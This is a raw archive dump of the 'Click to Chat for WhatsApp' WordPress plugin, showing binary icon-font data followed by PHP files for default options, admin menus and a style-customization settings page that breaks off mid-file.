+7��9a�JJ�b88b�J8l.�,Du�YY�uDL�2r:Y�uD����?�.#"%31812>54.1"&/7'.54>32#.'&"'.'.'&67>7>76&'.'.#&"#"7>7>'.'i$S[b3i��P""H
7{@i��P&7�u9m1�+
 !Cr�W+QLE. Cr�W�	D		
	
8$$
	$/!8N0$(;
+$8%P��iC�:��GP��i3b[S�	)�2s<W�sB.ELQ+W�rC<!
	" 6			G		2//N-<?

#"7�_<���{S��{S������@n
0��>��<*Q	3
Z		C	-	T		6	
4tccwccwVersion 1.0Version 1.0ccwccwccwccwRegularRegularccwccwFont generated by IcoMoon.Font generated by IcoMoon.click-to-chat-for-whatsapp/prev/assets/fonts/ccw.eot000064400000004270147510273110016477 0ustar00�$�LP�7ccwRegularVersion 1.0ccw�0OS/29�`cmap���\gaspxglyf3�'��|head�;#�6hhea��4$hmtxnCX locaT�xmaxp�� name&x�]�Vpost |�������3	@����@�@ @ ����� �������t��797979@@�@7-@����@*VV*�����Dd�.'&"'.'.'&67>7>76&'.'.#&"#"27>7>'.'#"&/7'.54>32#.#"%312>54.'�
E	

8%%
	$/!9N0#)<
�9n1�+
 !Cs�X+QLF.Cs�Wi%T\b3i��Q#!H8|@j��P%8$Z!
	"!5



G		2./N-<>	
#!��	*�2s;W�sB .ELQ*W�sB
#7%P��iC�:��GP��i3b[S$��nq7Og2#"&'.'.=>7>323232632>54.#"732#"&'7.54>33a
@F>S%	
(
 +
%tJ�a99a�JJ�a9#".�+f4Y�uDDu�Y7j0�NDu�Y�2

	Z79*R"
+7��9a�JJ�b88b�J8l.�,Du�YY�uDL�2r:Y�uD����?�.#"%31812>54.1"&/7'.54>32#.'&"'.'.'&67>7>76&'.'.#&"#"7>7>'.'i$S[b3i��P""H
7{@i��P&7�u9m1�+
 !Cr�W+QLE. Cr�W�	D		
	
8$$
	$/!8N0$(;
+$8%P��iC�:��GP��i3b[S�	)�2s<W�sB.ELQ+W�rC<!
	" 6			G		2//N-<?

#"7�_<���{S��{S������@n
0��>��<*Q	3
Z		C	-	T		6	
4tccwccwVersion 1.0Version 1.0ccwccwccwccwRegularRegularccwccwFont generated by IcoMoon.Font generated by IcoMoon.click-to-chat-for-whatsapp/prev/admin/default-values.php000064400000012754147510273110017307 0ustar00<?php
/**
 * set default values
 * 
 * ccw_plugin_details - this values will be overwrite 
 * 
 * @package ccw
 * @since 1.0
 */

if ( ! defined( 'ABSPATH' ) ) exit;


/**
 * table name: "ccw_options"
 * enable, enable_sc  -  2 - enable, 1 - disable
 */
$values = array(
    'enable' => '2',
    'enable_sc' => '2',
    'number' => '',
    'initial' => '',
    'input_placeholder' => 'WhatsApp us',
    'position' => '1',
    'style' => '9',
    'stylemobile' => '3',
    'position-1_bottom' => '10px',
    'position-1_right' => '10px',
    'position-2_bottom' => '10px',
    'position-2_left' => '10px',
    'position-3_top' => '10px',
    'position-3_left' => '10px',
    'position-4_top' => '10px',
    'position-4_right' => '10px',
    'list_hideon_pages' => '',
    'list_hideon_cat' => '',
    'shortcode' => 'chat',
    'return_type' => 'chat',  // chat or group_chat 
    'group_id' => '',

);
$db_values = get_option( 'ccw_options', array() );
$update_values = array_merge($values, $db_values);

if ( isset( $update_values['number'] ) ) {

    $pre_number = $update_values['number'];
    if ( '919494429789' == $pre_number || '919908469612' == $pre_number || '918897606725' == $pre_number ) {
        $update_values['number'] = '';
    }
}
update_option('ccw_options', $update_values);

/**
 * table name  - "ccw_options_cs"
 * 
 * customize styles - options page
 * 
 * @var string an_on_hover
 *  - if yes - adds 'ccw-an' to styles
 *     - added animations based on ccw-an at javascript
 */
$values_cs = array(
    's1_text_color' => '#9e9e9e',
    's1_text_color_onfocus' => '#26a69a',
    's1_border_color' => '#9e9e9e',
    's1_border_color_onfocus' => '#26a69a',
    's1_submit_btn_color' => '#26a69a',
    's1_submit_btn_text_and_icon_color' => '#ffffff',
    's1_width' => 'auto',
    's1_btn_text' => 'Submit',
    's2_text_color' => 'initial',
    's2_text_color_onhover' => 'initial',
    's2_decoration' => 'initial',
    's2_decoration_onhover' => 'initial',
    's3_icon_size' => '34px',
    's4_text_color' => 'rgba(0, 0, 0, 0.6)',
    's4_background_color' => '#e4e4e4',
    's5_color' => '#25D366',
    's5_hover_color' => '#00e51e',
    's5_icon_size' => '24px',
    's6_color' => '#ffffff',
    's6_hover_color' => '#000',
    's6_icon_size' => '24px',
    's6_circle_background_color' => '#25D366',
    's6_circle_background_hover_color' => '#00e51e',
    's6_circle_height' => '48px',
    's6_circle_width' => '48px',
    's6_line_height' => '48px',
    's7_color' => '#ffffff',
    's7_hover_color' => '#000',
    's7_icon_size' => '24px',
    's7_box_background_color' => '#25D366',
    's7_box_background_hover_color' => '#00e51e',
    's7_box_height' => '48px',
    's7_box_width' => '48px',
    's7_line_height' => '48px',
    's8_text_color' => '#ffffff',
    's8_background_color' => '#26a69a',
    's8_icon_color' => '#ffffff',
    's8_text_color_onhover' => '#ffffff',
    's8_background_color_onhover' => '#26a69a',
    's8_icon_color_onhover' => '#ffffff',
    's8_icon_float' => 'right',
    's8_1_width' => '',
    's9_icon_size' => '48px',
    's99_img_height_desktop' => '99px',
    's99_img_width_desktop' => '',
    's99_img_height_mobile' => '50px',
    's99_img_width_mobile' => '',
    's99_desktop_img' => '',
    's99_mobile_img' => '',

    // 'an_enable' => 'no',
    'an_on_load' => 'no-animation',
    'an_on_hover' => 'ccw-no-hover-an',
    
);

$db_values_cs = get_option( 'ccw_options_cs', array() );
$update_values_cs = array_merge($values_cs, $db_values_cs);
update_option('ccw_options_cs', $update_values_cs);

/**
 * Google Analytics
 * option  - ht_ccw_ga
 */
$ccw_ga = array(
    'ga_category' => 'Click to Chat for WhatsApp',
    'ga_action' => 'Click',
    'ga_label' => '{{url}}',
);
$db_ccw_ga = get_option( 'ht_ccw_ga', array() );
$update_ccw_ga = array_merge($ccw_ga, $db_ccw_ga);
update_option('ht_ccw_ga', $update_ccw_ga);


// plugin details 
$plugin_details = array(
    'version' => HT_CTC_VERSION,
);
// Always use update_option - overwrite new values .. don't preseve already existing values
update_option( 'ccw_plugin_details', $plugin_details );

/**
 * for new interface.. in advance..
 */
function new_options() {

    $new_options = get_option( 'ht_ctc_chat_options' );

    if ( ! isset( $new_options['number'] ) ) {

        $options = get_option( 'ccw_options' );
        $number = esc_attr( $options['number'] );
        $pre_filled = esc_attr( $options['initial'] );
        $call_to_action = esc_attr( $options['input_placeholder'] );
        
        $ctc_values = array(
            'number' => $number,
            'pre_filled' => $pre_filled,
            'call_to_action' => $call_to_action,

        );

        $db_ctc_values = get_option( 'ht_ctc_chat_options', array() );
        $update_ctc_values = array_merge($ctc_values, $db_ctc_values);
        update_option('ht_ctc_chat_options', $update_ctc_values);

    }

}

new_options();


/**
 * name: ht_ctc_switch 
 * 
 * interface - option - yes new interface, no previous interface
 * 
 */
function ht_ctc_switch() {

    // here in prev inteface set default as 'no'
    $interface = 'no';

    // plugin details 
    $values = array(
        'interface' => $interface,
    );


    $db_values = get_option( 'ht_ctc_switch', array() );
    $update_values = array_merge($values, $db_values);
    update_option('ht_ctc_switch', $update_values);

}

ht_ctc_switch();click-to-chat-for-whatsapp/prev/admin/commons/class-ht-ccw-admin-lists.php000064400000001013147510273110022535 0ustar00<?php
/**
 * some common things in admin .. 
 * Animations .. 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CCW_Admin_lists' ) ) :

class HT_CCW_Admin_lists {

    /**
     * If new animation have to add - add the animation name here
     *   and then add related css - anstyles.scss ( in dev environment, and run webpack )
     */
    public static $animations_list = array(
        'no-animation',
        'bounce',
        'tada',
    );

}

endif; // END class_exists checkclick-to-chat-for-whatsapp/prev/admin/class-ccw-admin-menu.php000064400000003361147510273110020267 0ustar00<?php
/**
* Admin - menu page  - add_menu_page for this plugin  - top level menu
* calls settings_page.php  ( ccw_settings_page - > require_once('settings_page.php') )
*   and page content display at admin_menu.php
*
* @package ccw
* @subpackage Administration
* @since 1.0
*/

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'CCW_Admin_Menu' ) ) :

class CCW_Admin_Menu {

    // top level page
    function ccw_options_page() {
        add_menu_page(
            'Click to Chat for WhatsApp - Plugin Option Page',
            'Click to Chat',
            'manage_options',
            'click-to-chat',
            array( $this, 'ccw_settings_page' ),
            'dashicons-format-chat'
        );
    }

    // top level page - setting page
    function ccw_settings_page() {
        
        if ( ! current_user_can('manage_options') ) {
            return;
        }

        include_once 'settings_page.php'; 
    }


    // customize style page 
    function ccw_options_page_two() {
        add_submenu_page( 
            'click-to-chat', 
            'Edit Styles', 
            'Customize Styles', 
            'manage_options', 
            'ccw-edit-styles', 
            array( $this, 'ccw_settings_page_two' )
        );

    }

    // customize style page - setting page
    function ccw_settings_page_two() {
        
        if ( ! current_user_can('manage_options') ) {
            return;
        }

        include_once 'sp_customize_styles.php'; 
    }
    

}

$admin_menu = new CCW_Admin_Menu();

add_action('admin_menu',  array( $admin_menu, 'ccw_options_page') );

add_action('admin_menu', array( $admin_menu, 'ccw_options_page_two') );

endif; // END class_exists checkclick-to-chat-for-whatsapp/prev/admin/class-ccw-admin-page-customize-styles.php000064400000103203147510273110023574 0ustar00<?php
/**
* content of the options page ..  Customize Styles ..
* admin_menu.php  -> settings_page.php  -> admin_page.php
*  in name exists - this short values - it means 
*   cs  - customize styles
*   cb  - call back - function
*
* @package ccw
* @subpackage Administration
* @since 1.0
*/

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'CCW_Admin_Page_Customize_Styles' ) ) :
    
class CCW_Admin_Page_Customize_Styles {


    function customize_styles() {
        
        register_setting( 'ccw_settings_group_cs', 'ccw_options_cs' , 'ccw_options_sanitize_cs_cb' );

        register_setting( 'ccw_settings_group_cs', 'ht_ccw_ga' , 'ccw_options_sanitize_cs_cb' );
        
        add_settings_section( 'ccw_settings_cs', '', array( $this, 'ccw_settings_section_cs_cb' ), 'ccw_options_settings_cs' );
    
        add_settings_field( 'ccw_style_1_cs', 'Style 1', array( $this, 'ccw_style_1_cb' ), 'ccw_options_settings_cs', 'ccw_settings_cs' );
        add_settings_field( 'ccw_style_2_cs', 'Style 2', array( $this, 'ccw_style_2_cb' ), 'ccw_options_settings_cs', 'ccw_settings_cs' );
        add_settings_field( 'ccw_style_3_cs', 'Style 3', array( $this, 'ccw_style_3_cb' ), 'ccw_options_settings_cs', 'ccw_settings_cs' );
        add_settings_field( 'ccw_style_4_cs', 'Style 4', array( $this, 'ccw_style_4_cb' ), 'ccw_options_settings_cs', 'ccw_settings_cs' );
        add_settings_field( 'ccw_style_5_cs', 'Style 5', array( $this, 'ccw_style_5_cb' ), 'ccw_options_settings_cs', 'ccw_settings_cs' );
        add_settings_field( 'ccw_style_6_cs', 'Style 6', array( $this, 'ccw_style_6_cb' ), 'ccw_options_settings_cs', 'ccw_settings_cs' );
        add_settings_field( 'ccw_style_7_cs', 'Style 7', array( $this, 'ccw_style_7_cb' ), 'ccw_options_settings_cs', 'ccw_settings_cs' );
        add_settings_field( 'ccw_style_8_cs', 'Style 8', array( $this, 'ccw_style_8_cb' ), 'ccw_options_settings_cs', 'ccw_settings_cs' );
        add_settings_field( 'ccw_style_9_cs', 'Style 9', array( $this, 'ccw_style_9_cb' ), 'ccw_options_settings_cs', 'ccw_settings_cs' );
        add_settings_field( 'ccw_style_99_own_img_cs', 'Style 99 own Image', array( $this, 'ccw_style_99_own_img_cb' ), 'ccw_options_settings_cs', 'ccw_settings_cs' );
        add_settings_field( 'ccw_animations', 'Animations', array( $this, 'ccw_animations_cb' ), 'ccw_options_settings_cs', 'ccw_settings_cs' );

        add_settings_field( 'ht_ccw_ga', 'Google Analytics', array( $this, 'ht_ccw_ga_cb' ), 'ccw_options_settings_cs', 'ccw_settings_cs' );
    }

    
    function ccw_settings_section_cs_cb() {
        echo '<h1>Customize Styles</h1>';
    }

    // style - 1 - new
    function ccw_style_1_cb() {
        ?>
        <ul class="collapsible" data-collapsible="accordion">
        <li>
        <div class="collapsible-header">Style 1</div>
        <div class="collapsible-body">

            <div class="row">
                <p class="description"> Style-1 is the default theme button. (looks like currently activated Theme button).</p>
                <br>
                <p class="description">For customizable button, please select style-8</p>
            </div>

        </div>
        </div>
        </li>
        </ul>

        <?php

    }


    
    // style - 2
    function ccw_style_2_cb() {
        $ccw_style_2 = get_option('ccw_options_cs');
        $s2_decoration_value = esc_attr( $ccw_style_2['s2_decoration'] );
        $s2_decoration_onhover = esc_attr( $ccw_style_2['s2_decoration_onhover'] );
        ?>
        <ul class="collapsible" data-collapsible="accordion">
        <li>
        <div class="collapsible-header">Style 2</div>
        <div class="collapsible-body">

            <div class="row">
                <div class="col s6">
                    <p><?php _e( 'Text Color', 'click-to-chat-for-whatsapp' ); ?></p>
                </div>
                <div class="input-field col s6">
                    <input name="ccw_options_cs[s2_text_color]" data-default-color="inherit" value="<?= esc_attr( $ccw_style_2['s2_text_color'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p><?php _e( 'Text Color on Hover', 'click-to-chat-for-whatsapp' ); ?> </p>
                </div>
                <div class="input-field col s6">
                    <input name="ccw_options_cs[s2_text_color_onhover]" data-default-color="inherit" value="<?= esc_attr( $ccw_style_2['s2_text_color_onhover'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>
        
            <div class="row">
                <div class="col s6">
                    <p><?php _e( 'Text Decoration', 'click-to-chat-for-whatsapp' ); ?> </p>
                </div>
                <div class="input-field col s6">
                    <select name="ccw_options_cs[s2_decoration]" class="select-2_2">
                        <option value="none" <?= $s2_decoration_value == 'none' ? 'SELECTED' : ''; ?> >none</option>
                        <option value="underline" <?= $s2_decoration_value == 'underline' ? 'SELECTED' : ''; ?> >underline</option>
                        <option value="overline" <?= $s2_decoration_value == 'overline' ? 'SELECTED' : ''; ?> >overline</option>
                        <option value="line-through" <?= $s2_decoration_value == 'line-through' ? 'SELECTED' : ''; ?> >line-through</option>
                        <option value="initial" <?= $s2_decoration_value == 'initial' ? 'SELECTED' : ''; ?> >initial</option>
                        <option value="inherit" <?= $s2_decoration_value == 'inherit' ? 'SELECTED' : ''; ?> >inherit</option>
                    </select>
                    <label><?php _e( 'Text Decoration', 'click-to-chat-for-whatsapp' ); ?> </label>
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p><?php _e( 'Text Decoration when Hover', 'click-to-chat-for-whatsapp' ); ?> </p>
                </div>
                <div class="input-field col s6">
                    <select name="ccw_options_cs[s2_decoration_onhover]" class="select-2_2">
                        <option value="none" <?= $s2_decoration_onhover == 'none' ? 'SELECTED' : ''; ?> >none</option>
                        <option value="underline" <?= $s2_decoration_onhover == 'underline' ? 'SELECTED' : ''; ?> >underline</option>
                        <option value="overline" <?= $s2_decoration_onhover == 'overline' ? 'SELECTED' : ''; ?> >overline</option>
                        <option value="line-through" <?= $s2_decoration_onhover == 'line-through' ? 'SELECTED' : ''; ?> >line-through</option>
                        <option value="initial" <?= $s2_decoration_onhover == 'initial' ? 'SELECTED' : ''; ?> >initial</option>
                        <option value="inherit" <?= $s2_decoration_onhover == 'inherit' ? 'SELECTED' : ''; ?> >inherit</option>
                    </select>
                    <label>Text Decoration on focus </label>
                </div>
            </div>

            </div>
            </div>
            </li>
            </ul>
        <?php
    }


    // style - 3
    function ccw_style_3_cb() {
        $ccw_style_3 = get_option('ccw_options_cs');
        
        ?>
        <ul class="collapsible" data-collapsible="accordion">
        <li>
        <div class="collapsible-header">Style 3</div>
        <div class="collapsible-body">
            
            <div class="row">
                <div class="col s6">
                    <p><?php _e( 'Image size', 'click-to-chat-for-whatsapp' ); ?></p>
                </div>
                <div class="input-field col s4">
                    <input name="ccw_options_cs[s3_icon_size]" value="<?= esc_attr( $ccw_style_3['s3_icon_size'] ) ?>" type="text" class="" >
                </div>
            </div>

        </div>
        </div>
        </li>
        </ul>

        <?php
    }


    // style - 4
    function ccw_style_4_cb() {
        $ccw_style_4 = get_option('ccw_options_cs');
        ?>
        <ul class="collapsible" data-collapsible="accordion">
        <li>
        <div class="collapsible-header">Style 4</div>
        <div class="collapsible-body">

        
            <div class="row">
                <div class="col s6">
                    <p><?php _e( 'Text Color', 'click-to-chat-for-whatsapp' ); ?> </p>
                </div>
                <div class="input-field col s6">
                    <input name="ccw_options_cs[s4_text_color]" data-default-color="rgba(0, 0, 0, 0.6)" value="<?= esc_attr( $ccw_style_4['s4_text_color'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p><?php _e( 'Background Color', 'click-to-chat-for-whatsapp' ); ?> </p>
                </div>
                <div class="input-field col s6">
                    <input name="ccw_options_cs[s4_background_color]" data-default-color="#e4e4e4" value="<?= esc_attr( $ccw_style_4['s4_background_color'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>
        
        </div>
        </div>
        </li>
        </ul>

        <?php
    }


    // style - 5
    function ccw_style_5_cb() {
        $ccw_style_5 = get_option('ccw_options_cs');
        ?>
        <ul class="collapsible" data-collapsible="accordion">
        <li>
        <div class="collapsible-header">Style 5</div>
        <div class="collapsible-body">

            <div class="row">
                <div class="col s6">
                    <p>Color of icon </p>
                </div>
                <div class="input-field col s6">
                    <!--   style="height: 1.375rem;"  or  22px   -->
                    <input name="ccw_options_cs[s5_color]" data-default-color="#000" value="<?= esc_attr( $ccw_style_5['s5_color'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>
            
            <div class="row">
                <div class="col s6">
                    <p>Color of icon - when hover  </p>
                </div>
                <div class="input-field col s6">
                    <input name="ccw_options_cs[s5_hover_color]" data-default-color="#ddd" value="<?= esc_attr( $ccw_style_5['s5_hover_color'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p>Size of icon </p>
                </div>
                <div class="input-field col s4">
                    <input name="ccw_options_cs[s5_icon_size]" value="<?= esc_attr( $ccw_style_5['s5_icon_size'] ) ?>" type="text" class="" >
                </div>
            </div>

        </div>
        </li>
        </ul>

        <?php
    }


    // style - 6
    function ccw_style_6_cb() {
        $ccw_style_6 = get_option('ccw_options_cs');
        ?>
        <ul class="collapsible" data-collapsible="accordion">
        <li>
        <div class="collapsible-header">Style 6</div>
        <div class="collapsible-body">

            <div class="row">
                <div class="col s6">
                    <p>Color of icon</p>
                </div>
                <div class="input-field col s6">
                    <!--   style="height: 1.375rem;"  or  22px   -->
                    <input name="ccw_options_cs[s6_color]" data-default-color="#fff" value="<?= esc_attr( $ccw_style_6['s6_color'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>
            
            <div class="row">
                <div class="col s6">
                    <p>Color of icon - when hover </p>
                </div>
                <div class="input-field col s6">
                    <input name="ccw_options_cs[s6_hover_color]" data-default-color="#000" value="<?= esc_attr( $ccw_style_6['s6_hover_color'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p>Size of icon</p>
                </div>
                <div class="input-field col s4">
                    <input name="ccw_options_cs[s6_icon_size]" value="<?= esc_attr( $ccw_style_6['s6_icon_size'] ) ?>" type="text" class="" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p>Circle color </p>
                </div>
                <div class="input-field col s6">
                    <input name="ccw_options_cs[s6_circle_background_color]" data-default-color="#ffa500" value="<?= esc_attr( $ccw_style_6['s6_circle_background_color'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p>Circle color - when hover </p>
                </div>
                <div class="input-field col s6">
                    <input name="ccw_options_cs[s6_circle_background_hover_color]" data-default-color="#ffa500" value="<?= esc_attr( $ccw_style_6['s6_circle_background_hover_color'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>


            <div class="row">
                <div class="col s6">
                    <p>Circle Height</p>
                </div>
                <div class="input-field col s4">
                    <input name="ccw_options_cs[s6_circle_height]" value="<?= esc_attr( $ccw_style_6['s6_circle_height'] ) ?>" type="text" class="" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p>Circle Width</p>
                </div>
                <div class="input-field col s4">
                    <input name="ccw_options_cs[s6_circle_width]" value="<?= esc_attr( $ccw_style_6['s6_circle_width'] ) ?>" type="text" class="" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p>Circle Line Height</p>
                </div>
                <div class="input-field col s4">
                    <input name="ccw_options_cs[s6_line_height]" value="<?= esc_attr( $ccw_style_6['s6_line_height'] ) ?>" type="text" class="" >
                </div>
            </div>

            <p class="description">add height, width, line-height same values - if feels like icon is not center then adjust 'Line Height' to make icon looks center of the circle</p>
            
        </div>
        </div>
        </li>
        </ul>
            
        <?php
    }



    // style - 7
    function ccw_style_7_cb() {
        $ccw_style_7 = get_option('ccw_options_cs');
        ?>
        <ul class="collapsible" data-collapsible="accordion">
        <li>
        <div class="collapsible-header">Style 7</div>
        <div class="collapsible-body">


            <div class="row">
                <div class="col s6">
                    <p>Color of icon</p>
                </div>
                <div class="input-field col s6">
                    <!--   style="height: 1.375rem;"  or  22px   -->
                    <input name="ccw_options_cs[s7_color]" data-default-color="#fff" value="<?= esc_attr( $ccw_style_7['s7_color'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>
            
            <div class="row">
                <div class="col s6">
                    <p>Color of icon - when hover </p>
                </div>
                <div class="input-field col s6">
                    <input name="ccw_options_cs[s7_hover_color]" data-default-color="#000" value="<?= esc_attr( $ccw_style_7['s7_hover_color'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p>Size of icon</p>
                </div>
                <div class="input-field col s4">
                    <input name="ccw_options_cs[s7_icon_size]" value="<?= esc_attr( $ccw_style_7['s7_icon_size'] ) ?>" type="text" class="" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p>box color </p>
                </div>
                <div class="input-field col s6">
                    <input name="ccw_options_cs[s7_box_background_color]" data-default-color="#ffa500" value="<?= esc_attr( $ccw_style_7['s7_box_background_color'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p>box color - when hover </p>
                </div>
                <div class="input-field col s6">
                    <input name="ccw_options_cs[s7_box_background_hover_color]" data-default-color="#ffa500" value="<?= esc_attr( $ccw_style_7['s7_box_background_hover_color'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>


            <div class="row">
                <div class="col s6">
                    <p>box Height</p>
                </div>
                <div class="input-field col s4">
                    <input name="ccw_options_cs[s7_box_height]" value="<?= esc_attr( $ccw_style_7['s7_box_height'] ) ?>" type="text" class="" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p>box Width</p>
                </div>
                <div class="input-field col s4">
                    <input name="ccw_options_cs[s7_box_width]" value="<?= esc_attr( $ccw_style_7['s7_box_width'] ) ?>" type="text" class="" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p>box Line Height</p>
                </div>
                <div class="input-field col s4">
                    <input name="ccw_options_cs[s7_line_height]" value="<?= esc_attr( $ccw_style_7['s7_line_height'] ) ?>" type="text" class="" >
                </div>
            </div>

            <p class="description">add height, width, line-height same values - if feels like icon is not center then adjust 'Line Height' to make icon looks center of the box</p>
            
            
        </div>
        </div>
        </li>
        </ul>

        <?php
    }


    // style - 8
    function ccw_style_8_cb() {
        $ccw_style_8 = get_option('ccw_options_cs');
        $s8_icon_float = esc_attr( $ccw_style_8['s8_icon_float'] )
        ?>
        <ul class="collapsible" data-collapsible="accordion">
        <li>
        <div class="collapsible-header">Style 8</div>
        <div class="collapsible-body">

        
            <div class="row">
                <div class="col s6">
                    <p><?php _e( 'Text Color', 'click-to-chat-for-whatsapp' ); ?></p>
                </div>
                <div class="input-field col s6">
                    <input name="ccw_options_cs[s8_text_color]" data-default-color="#fff" value="<?= esc_attr( $ccw_style_8['s8_text_color'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p><?php _e( 'Background Color', 'click-to-chat-for-whatsapp' ); ?></p>
                </div>
                <div class="input-field col s6">
                    <input name="ccw_options_cs[s8_background_color]" data-default-color="#26a69a" value="<?= esc_attr( $ccw_style_8['s8_background_color'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p><?php _e( 'Icon color', 'click-to-chat-for-whatsapp' ); ?></p>
                </div>
                <div class="input-field col s6">
                    <input name="ccw_options_cs[s8_icon_color]" data-default-color="#fff" value="<?= esc_attr( $ccw_style_8['s8_icon_color'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p><?php _e( 'Text Color on hover', 'click-to-chat-for-whatsapp' ); ?></p>
                </div>
                <div class="input-field col s6">
                    <input name="ccw_options_cs[s8_text_color_onhover]" data-default-color="#fff" value="<?= esc_attr( $ccw_style_8['s8_text_color_onhover'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p><?php _e( 'Background Color on hover', 'click-to-chat-for-whatsapp' ); ?></p>
                </div>
                <div class="input-field col s6">
                    <input name="ccw_options_cs[s8_background_color_onhover]" data-default-color="#26a69a" value="<?= esc_attr( $ccw_style_8['s8_background_color_onhover'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p><?php _e( 'Icon color on hover', 'click-to-chat-for-whatsapp' ); ?></p>
                </div>
                <div class="input-field col s6">
                    <input name="ccw_options_cs[s8_icon_color_onhover]" data-default-color="#fff" value="<?= esc_attr( $ccw_style_8['s8_icon_color_onhover'] ) ?>" type="text" class="color-wp" style="height: 1.375rem;" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p>Icon float</p>
                </div>
                <div class="input-field col s6">
                    <select name="ccw_options_cs[s8_icon_float]" class="select-2_2">
                        <option value="left" <?= $s8_icon_float == 'left' ? 'SELECTED' : ''; ?> >left</option>
                        <option value="right" <?= $s8_icon_float == 'right' ? 'SELECTED' : ''; ?> >right</option>
                        <option value="hide" <?= $s8_icon_float == 'hide' ? 'SELECTED' : ''; ?> >hide</option>
                    </select>
                    <label>Icon flow</label>
                </div>
            </div>

            <!-- hidden value - as in array empty values are not updating .. -->
            <div class="row hide">
                <div class="col s6">
                    <p><?php _e( 'Icon size', 'click-to-chat-for-whatsapp' ); ?></p>
                </div>
                <div class="input-field col s4">
                    <input name="ccw_options_cs[s8_1_width]" value="<?= esc_attr( $ccw_style_8['s8_1_width'] ) ?>" type="text" class="" >
                </div>
            </div>
        
        </div>
        </div>
        </li>
        </ul>

        <?php
    }


    // style - 9
    function ccw_style_9_cb() {
        $ccw_style_9 = get_option('ccw_options_cs');
        ?>
        <ul class="collapsible" data-collapsible="accordion">
        <li>
        <div class="collapsible-header">Style 9</div>
        <div class="collapsible-body">
            
            <div class="row">
                <div class="col s6">
                    <p><?php _e( 'Image size', 'click-to-chat-for-whatsapp' ); ?></p>
                </div>
                <div class="input-field col s4">
                    <input name="ccw_options_cs[s9_icon_size]" value="<?= esc_attr( $ccw_style_9['s9_icon_size'] ) ?>" type="text" class="" >
                </div>
            </div>
        
        </div>
        </div>
        </li>
        </ul>

        <?php
    }


    // style - 99 - own image
    function ccw_style_99_own_img_cb() {
        $ccw_style_99_own_img = get_option('ccw_options_cs');
        ?>
        <ul class="collapsible" data-collapsible="accordion">
        <li>
        <div class="collapsible-header"><?php _e( 'Style 99 - own Image / GIF', 'click-to-chat-for-whatsapp' ); ?></div>
        <div class="collapsible-body">


           <div class="row">
                <div class="input-field col s12">
                    <input name="ccw_options_cs[s99_desktop_img]" value="<?= esc_attr( $ccw_style_99_own_img['s99_desktop_img'] ) ?>" id="img-url-desktop" type="text" class="validate">
                    <label for="img-url-desktop"><?php _e( 'Image URL - Desktop', 'click-to-chat-for-whatsapp' ); ?> </label>
                    <p class="description">e.g. https://example.com/img.png - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/style-99-own-image/">own image - style 99</a> </p>
                    <p class="description">Image / GIF </p>
                </div>
            </div>

            <div class="row">
                <div class="input-field col s12">
                    <input name="ccw_options_cs[s99_mobile_img]" value="<?= esc_attr( $ccw_style_99_own_img['s99_mobile_img'] ) ?>" id="img-url-mobile" type="text" class="validate">
                    <label for="img-url-mobile"><?php _e( 'Image URL - Mobile', 'click-to-chat-for-whatsapp' ); ?> </label>
                    <p class="description">e.g. https://example.com/img.png - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/style-99-own-image/">own image - style 99</a> </p>
                </div>
            </div>

            <br><hr><br>
            <p class="description">Instead of changing the Heigth, Width - Add Image with pefect size, and keep this field blank </p>
            <p class="description">If not then add only height or width for better result ( Heigth preferred ) <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/style-99-own-image/">own image - style 99</a> </p>
            <br>

            <div class="row">
                <div class="col s6">
                    <p><?php _e( 'Desktop - Image Height', 'click-to-chat-for-whatsapp' ); ?></p>
                </div>
                <div class="input-field col s4">
                    <input name="ccw_options_cs[s99_img_height_desktop]" value="<?= esc_attr( $ccw_style_99_own_img['s99_img_height_desktop'] ) ?>" type="text" class="" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
